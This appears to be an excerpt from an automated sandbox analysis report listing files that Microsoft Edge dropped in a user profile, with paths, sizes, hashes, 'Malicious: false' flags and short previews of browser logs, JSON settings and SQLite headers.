Preview:	2024/11/19-14:05:36.924 1f70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/19-14:05:36.925 1f70 Recovering log #3.2024/11/19-14:05:36.925 1f70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.195146170784978
Encrypted:	false
SSDEEP:	6:HU4Gunq2PcNwi23oH+Tcwt7Uh2ghZIFUt8YU4VZmw+YU4HkwOcNwi23oH+Tcwt7w:wUvLZYebIhHh2FUt8o/+w54ZYebIhHLJ
MD5:	33BC73F550C35C9C72A78B5CA4771138
SHA1:	08894E22C0EB946487B6D2F83C13C543DE6F53CD
SHA-256:	CEA46582C4EF0AD331C2FE4E22149CDD313DA96D0B9245B6136EE5F591CAACC8
SHA-512:	AB0627BC2FA4C83B29D7A4078D94B1D0F78757E448889C24BC1FFA668DA4E04C8649A745B10B6C9A27B379FC4E041E4E7EE18D75D1E4CACBFC3E5ABD21EE4FBC
Malicious:	false
Preview:	2024/11/19-14:05:36.924 1f70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/19-14:05:36.925 1f70 Recovering log #3.2024/11/19-14:05:36.925 1f70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0017369714753854254
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZly+ll/:/M/xT02zEt
MD5:	773D47D88A0DD65F8107F4CA40D00747
SHA1:	120FF94C1CDC4828E05A9A48D92CDAD2535859C9
SHA-256:	4F677A034764621C116DCCE3F251A87DDAC329A80E42F323B9684C38F8877E45
SHA-512:	43E5B4DB4EDC01D1119010BD3BCDA9B7DE5C058B49B917356501799A4DFC436651A0FF5413DAE70AC8CB7C5701946B7DDB7D458EC76A1CC8EAB7A2B87200179A
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.261617266418725
Encrypted:	false
SSDEEP:	12:0XvLZYebvqBQFUt8ZbP/+Zi54ZYebvqBvJ:0/lYebvZg8ZbMMoYebvk
MD5:	588CF24EC3F245EB2341B5ACDCE92490
SHA1:	B470E31B8B52C299B922E4F180280B93DD3C76DD
SHA-256:	0432E33798BCB02FA3443811D5524A557FE55C6A360E2CF75EF07FCEAE5C4497
SHA-512:	459EBFF46B51726F4E8E6F38CA90B8910B548507CC726CA6F31B60FD982D453AA4498A5548F86C6ECFDAF42B769CE821E9610451A9E66271EBE2CAA6CBFA6C88
Malicious:	false
Preview:	2024/11/19-14:05:37.768 1ed4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/19-14:05:37.833 1ed4 Recovering log #3.2024/11/19-14:05:37.845 1ed4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.261617266418725
Encrypted:	false
SSDEEP:	12:0XvLZYebvqBQFUt8ZbP/+Zi54ZYebvqBvJ:0/lYebvZg8ZbMMoYebvk
MD5:	588CF24EC3F245EB2341B5ACDCE92490
SHA1:	B470E31B8B52C299B922E4F180280B93DD3C76DD
SHA-256:	0432E33798BCB02FA3443811D5524A557FE55C6A360E2CF75EF07FCEAE5C4497
SHA-512:	459EBFF46B51726F4E8E6F38CA90B8910B548507CC726CA6F31B60FD982D453AA4498A5548F86C6ECFDAF42B769CE821E9610451A9E66271EBE2CAA6CBFA6C88
Malicious:	false
Preview:	2024/11/19-14:05:37.768 1ed4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/19-14:05:37.833 1ed4 Recovering log #3.2024/11/19-14:05:37.845 1ed4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1b481615-c46c-4da1-becd-00120df66776.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\234452fb-498e-44d9-8376-fc597161c394.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\28dadc37-a354-4b1e-bd7b-54bc1eb29f8b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\74004805-67b6-4288-a9c7-fb9aa351f62d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2715d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF272b5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\eac0b2ff-49cf-4705-8c84-42233784b854.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.243596320382458
Encrypted:	false
SSDEEP:	12:XfJvLZYebvqBZFUt8cZPX/+cVd54ZYebvqBaJ:Xf1lYebvyg8c5VPoYebvL
MD5:	DE2D6E4E7D119FA9DFD81931BCCE2F57
SHA1:	0EB18C9C0F12648ECB8F0F125A173203017D2274
SHA-256:	ECCB765D25F68D09D36E72FEF495DE2CC6D372C9727CABC20099C29C6CEB9F4B
SHA-512:	64FF74E6F88043F45410A95E4C1BDE16EC4639404C9D83A941BB27ECEE48EA11708B8DC99D58C89B4C35956BA1938EBADD423A31C8B25B1FB39B75C47DF2AC87
Malicious:	false
Preview:	2024/11/19-14:05:56.663 1ed4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/19-14:05:56.664 1ed4 Recovering log #3.2024/11/19-14:05:56.668 1ed4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.243596320382458
Encrypted:	false
SSDEEP:	12:XfJvLZYebvqBZFUt8cZPX/+cVd54ZYebvqBaJ:Xf1lYebvyg8c5VPoYebvL
MD5:	DE2D6E4E7D119FA9DFD81931BCCE2F57
SHA1:	0EB18C9C0F12648ECB8F0F125A173203017D2274
SHA-256:	ECCB765D25F68D09D36E72FEF495DE2CC6D372C9727CABC20099C29C6CEB9F4B
SHA-512:	64FF74E6F88043F45410A95E4C1BDE16EC4639404C9D83A941BB27ECEE48EA11708B8DC99D58C89B4C35956BA1938EBADD423A31C8B25B1FB39B75C47DF2AC87
Malicious:	false
Preview:	2024/11/19-14:05:56.663 1ed4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/19-14:05:56.664 1ed4 Recovering log #3.2024/11/19-14:05:56.668 1ed4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.231933093741598
Encrypted:	false
SSDEEP:	6:HU4rDL4q2PcNwi23oH+TcwtpIFUt8YU4CJZmw+YU4BDkwOcNwi23oH+Tcwta/WLJ:xDL4vLZYebmFUt87J/+0D54ZYebaUJ
MD5:	C65BED0907842872EB459CE81C3E1F5C
SHA1:	5AB727B76E6952D2ACAD9536B87B3F7D47C50473
SHA-256:	7231BD2798A2716CC8C013BC60F417BF67BD1266C52A348118820125F18F9939
SHA-512:	9E41AF1641D56EB6214B8627AE4F054FA7BC5E655D7E6E2AC6E1579917E465790E19742D74FF2C02DF5BCDFD2461CF8C4F9BAB23172B8FFC332E4AE5B56084BA
Malicious:	false
Preview:	2024/11/19-14:05:36.931 14f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/19-14:05:36.932 14f4 Recovering log #3.2024/11/19-14:05:36.933 14f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.231933093741598
Encrypted:	false
SSDEEP:	6:HU4rDL4q2PcNwi23oH+TcwtpIFUt8YU4CJZmw+YU4BDkwOcNwi23oH+Tcwta/WLJ:xDL4vLZYebmFUt87J/+0D54ZYebaUJ
MD5:	C65BED0907842872EB459CE81C3E1F5C
SHA1:	5AB727B76E6952D2ACAD9536B87B3F7D47C50473
SHA-256:	7231BD2798A2716CC8C013BC60F417BF67BD1266C52A348118820125F18F9939
SHA-512:	9E41AF1641D56EB6214B8627AE4F054FA7BC5E655D7E6E2AC6E1579917E465790E19742D74FF2C02DF5BCDFD2461CF8C4F9BAB23172B8FFC332E4AE5B56084BA
Malicious:	false
Preview:	2024/11/19-14:05:36.931 14f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/19-14:05:36.932 14f4 Recovering log #3.2024/11/19-14:05:36.933 14f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2648092536051991
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM1SAELyKOMq+8HKkjucswRv8p3nVumH:K0q+n0J19ELyKOMq+8HKkjuczRv89D
MD5:	48DB5A27891A2210DE31FA38B39B9A52
SHA1:	C25BEDAD5AA401E23E188F3A2BDCE1B8595A9800
SHA-256:	4D75C33256857B2CEC75ED73F3C4881A0B01286160364CEE515E4AFE5767A83F
SHA-512:	B7F34D1251050B417F9DDCD266A5E42A5CF6CD6C26809A0178AD39C5704E7BD2430589DBDF6D4F18BBB61C55E4ABD8727AD3CA85A333A5BA71714A453B14684D
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46627359886263464
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcBaj:v7doKsKuKZKlZNmu46yjxC
MD5:	90218920DEF61117466F2991C92035D3
SHA1:	D1EC1AEC881854447299565EC6AF8A91AF27BB7A
SHA-256:	890121983D430ADA08D811032D4BA153FD13D1FECA409228C879F123E717BB64
SHA-512:	8EA79AFB0DF9E87206485414CC1079D7910A09CE65E42BD109780642C2263F30A68664CE35456B8A23B15541552DD5DDADEF85B5F03A099C3FAB3865ACDD7154
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b9ff6a18-f544-4f12-a0a6-164dfe3f0a7a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17439), with no line terminators
Category:	dropped
Size (bytes):	17449
Entropy (8bit):	5.494103934071746
Encrypted:	false
SSDEEP:	192:st3J99QTryDigabatSuyp5sE5DyaNPIWrk0YzZZLKjrJre6o2m8MbV+FbHQwqrCs:st3PGKSu45sE5DtJIWE+fJrulbGbQwoX
MD5:	616170AD8716F3916F391A12E0888903
SHA1:	3B8D843CC30027B5FB6BC57E0FC30A45AF3E98F6
SHA-256:	EC694841B1242396DA5C68E1F0B638CDCFB306C50E755BFA59A2E50BAC210C44
SHA-512:	7059D9EB7C645C2DF88CDF32E74D5F6438F88A62D40BD384EB87E8AA575AF8A0D45BD169BDDC134E22B7D5AB79D5A43DA82D1C5BE161220FE0D9D95BC10ADBA1
Malicious:	false
